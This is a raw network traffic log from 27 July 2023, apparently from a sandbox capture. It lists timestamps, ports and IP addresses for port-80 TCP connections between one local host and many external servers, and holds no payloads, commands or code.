Jul 27, 2023 21:53:12.852900028 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.852919102 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.853153944 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.853209019 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.855257988 CEST	80	49945	13.224.103.99	192.168.2.4
Jul 27, 2023 21:53:12.855448008 CEST	49945	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:53:12.856040001 CEST	49945	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:53:12.862668037 CEST	80	49943	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.866378069 CEST	80	49945	13.224.103.99	192.168.2.4
Jul 27, 2023 21:53:12.866704941 CEST	80	49945	13.224.103.99	192.168.2.4
Jul 27, 2023 21:53:12.866867065 CEST	49945	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:53:12.897443056 CEST	49945	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:53:12.908006907 CEST	80	49945	13.224.103.99	192.168.2.4
Jul 27, 2023 21:53:12.908420086 CEST	80	49945	13.224.103.99	192.168.2.4
Jul 27, 2023 21:53:12.908584118 CEST	49945	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:53:12.923460960 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923502922 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923525095 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923544884 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923578024 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923604965 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923633099 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923650026 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923660994 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923681974 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923695087 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923702002 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923722982 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923726082 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923747063 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923753023 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923774958 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923774958 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923800945 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923800945 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923820972 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923826933 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923846960 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923846960 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923866034 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923866987 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923887968 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923894882 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923908949 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923916101 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923933983 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923940897 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923953056 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923970938 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.923981905 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.923991919 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924012899 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924014091 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924030066 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924034119 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924055099 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924056053 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924071074 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924079895 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924098015 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924102068 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924118996 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924139977 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924182892 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924206018 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924231052 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924237013 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924256086 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924261093 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924273014 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924298048 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.924401999 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.924449921 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.969660044 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969712019 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969732046 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969752073 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969772100 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969791889 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969810009 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969829082 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.969876051 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.969938993 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:13.017190933 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:13.017302990 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:13.040450096 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040499926 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040527105 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040554047 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040575027 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040596962 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040621996 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040644884 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040663958 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040683031 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040702105 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040720940 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040740013 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040760040 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040751934 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:13.040780067 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040797949 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:13.040832043 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:13.040832043 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:13.040851116 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:13.059942007 CEST	49946	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:53:13.135175943 CEST	80	49928	217.19.237.54	192.168.2.4
Jul 27, 2023 21:53:13.135253906 CEST	49928	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:53:13.169819117 CEST	49897	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:53:13.444446087 CEST	49947	80	192.168.2.4	157.112.176.4
Jul 27, 2023 21:53:13.687282085 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:13.687417030 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:13.710014105 CEST	80	49947	157.112.176.4	192.168.2.4
Jul 27, 2023 21:53:13.710170031 CEST	49947	80	192.168.2.4	157.112.176.4
Jul 27, 2023 21:53:13.710735083 CEST	49947	80	192.168.2.4	157.112.176.4
Jul 27, 2023 21:53:13.976181984 CEST	80	49947	157.112.176.4	192.168.2.4
Jul 27, 2023 21:53:14.031888962 CEST	80	49935	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:14.032089949 CEST	49935	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:14.035902977 CEST	80	49947	157.112.176.4	192.168.2.4
Jul 27, 2023 21:53:14.036065102 CEST	49947	80	192.168.2.4	157.112.176.4
Jul 27, 2023 21:53:14.044919968 CEST	49905	80	192.168.2.4	210.140.73.39
Jul 27, 2023 21:53:14.155280113 CEST	49948	80	192.168.2.4	173.254.28.29
Jul 27, 2023 21:53:14.333925962 CEST	80	49948	173.254.28.29	192.168.2.4
Jul 27, 2023 21:53:14.334055901 CEST	49948	80	192.168.2.4	173.254.28.29
Jul 27, 2023 21:53:14.334487915 CEST	49948	80	192.168.2.4	173.254.28.29
Jul 27, 2023 21:53:14.516758919 CEST	80	49948	173.254.28.29	192.168.2.4
Jul 27, 2023 21:53:14.523051977 CEST	80	49948	173.254.28.29	192.168.2.4
Jul 27, 2023 21:53:14.523145914 CEST	49948	80	192.168.2.4	173.254.28.29
Jul 27, 2023 21:53:14.548398018 CEST	49948	80	192.168.2.4	173.254.28.29
Jul 27, 2023 21:53:14.740475893 CEST	80	49948	173.254.28.29	192.168.2.4
Jul 27, 2023 21:53:14.740576982 CEST	49948	80	192.168.2.4	173.254.28.29
Jul 27, 2023 21:53:14.763700008 CEST	49911	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:14.935904980 CEST	49949	80	192.168.2.4	157.112.182.239
Jul 27, 2023 21:53:14.951159000 CEST	49914	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:53:15.174340010 CEST	80	49896	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:15.174412012 CEST	49896	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:15.201232910 CEST	49915	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:15.202927113 CEST	80	49949	157.112.182.239	192.168.2.4
Jul 27, 2023 21:53:15.203083038 CEST	49949	80	192.168.2.4	157.112.182.239
Jul 27, 2023 21:53:15.203725100 CEST	49949	80	192.168.2.4	157.112.182.239
Jul 27, 2023 21:53:15.451203108 CEST	49944	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:53:15.470468998 CEST	80	49949	157.112.182.239	192.168.2.4
Jul 27, 2023 21:53:15.471863031 CEST	80	49949	157.112.182.239	192.168.2.4
Jul 27, 2023 21:53:15.471899033 CEST	80	49949	157.112.182.239	192.168.2.4
Jul 27, 2023 21:53:15.471924067 CEST	80	49949	157.112.182.239	192.168.2.4
Jul 27, 2023 21:53:15.471966028 CEST	49949	80	192.168.2.4	157.112.182.239
Jul 27, 2023 21:53:15.472042084 CEST	49949	80	192.168.2.4	157.112.182.239
Jul 27, 2023 21:53:15.472042084 CEST	49949	80	192.168.2.4	157.112.182.239
Jul 27, 2023 21:53:15.609630108 CEST	80	49900	162.43.120.128	192.168.2.4
Jul 27, 2023 21:53:15.609796047 CEST	49900	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:53:15.925061941 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:15.925179005 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:15.975126982 CEST	80	49938	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:15.975657940 CEST	49938	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:16.060679913 CEST	49946	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:53:16.196445942 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.215279102 CEST	80	49693	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:16.215405941 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.234668970 CEST	49951	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:53:16.238867044 CEST	49950	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.245518923 CEST	80	49951	18.165.183.19	192.168.2.4
Jul 27, 2023 21:53:16.248719931 CEST	49951	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:53:16.249429941 CEST	49951	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:53:16.260430098 CEST	80	49950	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:16.260584116 CEST	49950	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.262283087 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:16.265736103 CEST	49950	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.292687893 CEST	49696	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:53:16.311991930 CEST	49952	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:16.319632053 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.323451042 CEST	49953	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:53:16.334547043 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.334758997 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:16.336437941 CEST	49955	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.337852955 CEST	49956	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:16.339728117 CEST	80	49953	172.67.208.67	192.168.2.4
Jul 27, 2023 21:53:16.340502977 CEST	49953	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:53:16.350503922 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:16.350652933 CEST	49953	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:53:16.360805035 CEST	49957	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:16.363037109 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.364764929 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.366858959 CEST	80	49953	172.67.208.67	192.168.2.4
Jul 27, 2023 21:53:16.367238998 CEST	49959	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:16.378443956 CEST	80	49953	172.67.208.67	192.168.2.4
Jul 27, 2023 21:53:16.378554106 CEST	49953	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:53:16.383486032 CEST	80	49698	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:16.482584953 CEST	49951	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:53:16.486257076 CEST	80	49955	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:16.489751101 CEST	49955	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.494383097 CEST	49955	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.495357037 CEST	80	49951	18.165.183.19	192.168.2.4
Jul 27, 2023 21:53:16.495414972 CEST	80	49951	18.165.183.19	192.168.2.4
Jul 27, 2023 21:53:16.498194933 CEST	49950	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.498495102 CEST	49951	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:53:16.511915922 CEST	49701	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:16.512787104 CEST	49960	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:16.519659042 CEST	80	49950	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:16.519891024 CEST	80	49950	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:16.519968987 CEST	49950	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.526303053 CEST	80	49701	34.149.87.45	192.168.2.4
Jul 27, 2023 21:53:16.527673006 CEST	49701	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:16.527867079 CEST	49951	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:53:16.535542011 CEST	80	49960	34.149.87.45	192.168.2.4
Jul 27, 2023 21:53:16.535679102 CEST	49960	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:16.538716078 CEST	80	49951	18.165.183.19	192.168.2.4
Jul 27, 2023 21:53:16.539634943 CEST	49960	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:16.539653063 CEST	49951	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:53:16.541716099 CEST	49950	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.560713053 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:16.562318087 CEST	80	49960	34.149.87.45	192.168.2.4
Jul 27, 2023 21:53:16.563304901 CEST	80	49950	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:16.563419104 CEST	49950	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:16.577828884 CEST	80	49694	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:16.577977896 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:16.591027021 CEST	80	49960	34.149.87.45	192.168.2.4
Jul 27, 2023 21:53:16.591114044 CEST	49960	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:16.600794077 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.600925922 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.607590914 CEST	49696	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:53:16.616971970 CEST	80	49906	93.187.206.66	192.168.2.4
Jul 27, 2023 21:53:16.618388891 CEST	49906	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:16.624169111 CEST	80	49696	172.67.208.67	192.168.2.4
Jul 27, 2023 21:53:16.624290943 CEST	49696	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:53:16.625257969 CEST	80	49959	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:16.625401974 CEST	49959	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:16.638808012 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:16.639147043 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.639255047 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.642545938 CEST	80	49955	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:16.642582893 CEST	80	49955	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:16.642663002 CEST	49955	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.642718077 CEST	49955	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.643316984 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.643409967 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.670233011 CEST	49955	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.695636988 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.695756912 CEST	49959	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:16.696289062 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.700504065 CEST	49961	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.742409945 CEST	80	49697	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:16.746336937 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:16.747176886 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:16.747323990 CEST	49962	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:16.748117924 CEST	49963	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:16.763433933 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.764308929 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.764439106 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:16.764532089 CEST	49963	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:16.764889956 CEST	49963	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:16.779510021 CEST	49926	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:53:16.780999899 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.781220913 CEST	80	49705	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:16.782255888 CEST	80	49962	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:16.784086943 CEST	49962	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:16.784086943 CEST	49962	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:16.802023888 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.802062035 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.802086115 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.802110910 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.802131891 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.802150965 CEST	80	49963	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:16.802206039 CEST	49963	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:16.802344084 CEST	49963	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:16.818355083 CEST	80	49955	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:16.818895102 CEST	80	49962	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:16.820177078 CEST	80	49962	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:16.820293903 CEST	49962	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:16.848364115 CEST	80	49961	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:16.848567009 CEST	49961	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.867229939 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.894562006 CEST	49961	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:16.894682884 CEST	49962	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:16.923310041 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:16.924055099 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:16.931736946 CEST	80	49962	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:16.931922913 CEST	49962	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:16.939889908 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:16.940087080 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:16.940176010 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:16.940310955 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:16.953845024 CEST	80	49959	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:16.953979015 CEST	80	49959	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:16.954020023 CEST	80	49959	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:16.954047918 CEST	49959	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:16.954075098 CEST	49959	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:16.954116106 CEST	80	49959	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:16.954160929 CEST	49959	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:16.962888956 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.962918043 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.962939024 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.962961912 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.962982893 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.963005066 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.963026047 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.963027954 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.963048935 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.963072062 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.963094950 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:16.963093996 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.963093996 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.963124037 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.963155985 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:16.963860989 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:16.964756966 CEST	49959	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:16.975456953 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.976602077 CEST	49965	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:53:16.979350090 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979378939 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979406118 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979433060 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979460955 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979521036 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979553938 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979559898 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979559898 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979561090 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979584932 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979624033 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979633093 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979633093 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979662895 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979680061 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979698896 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:16.979783058 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:16.979937077 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:17.045161009 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:17.045629025 CEST	80	49961	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:17.045656919 CEST	80	49961	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:17.045773029 CEST	49961	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:17.055790901 CEST	49961	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:53:17.115752935 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:17.128417015 CEST	49966	80	192.168.2.4	80.74.154.6
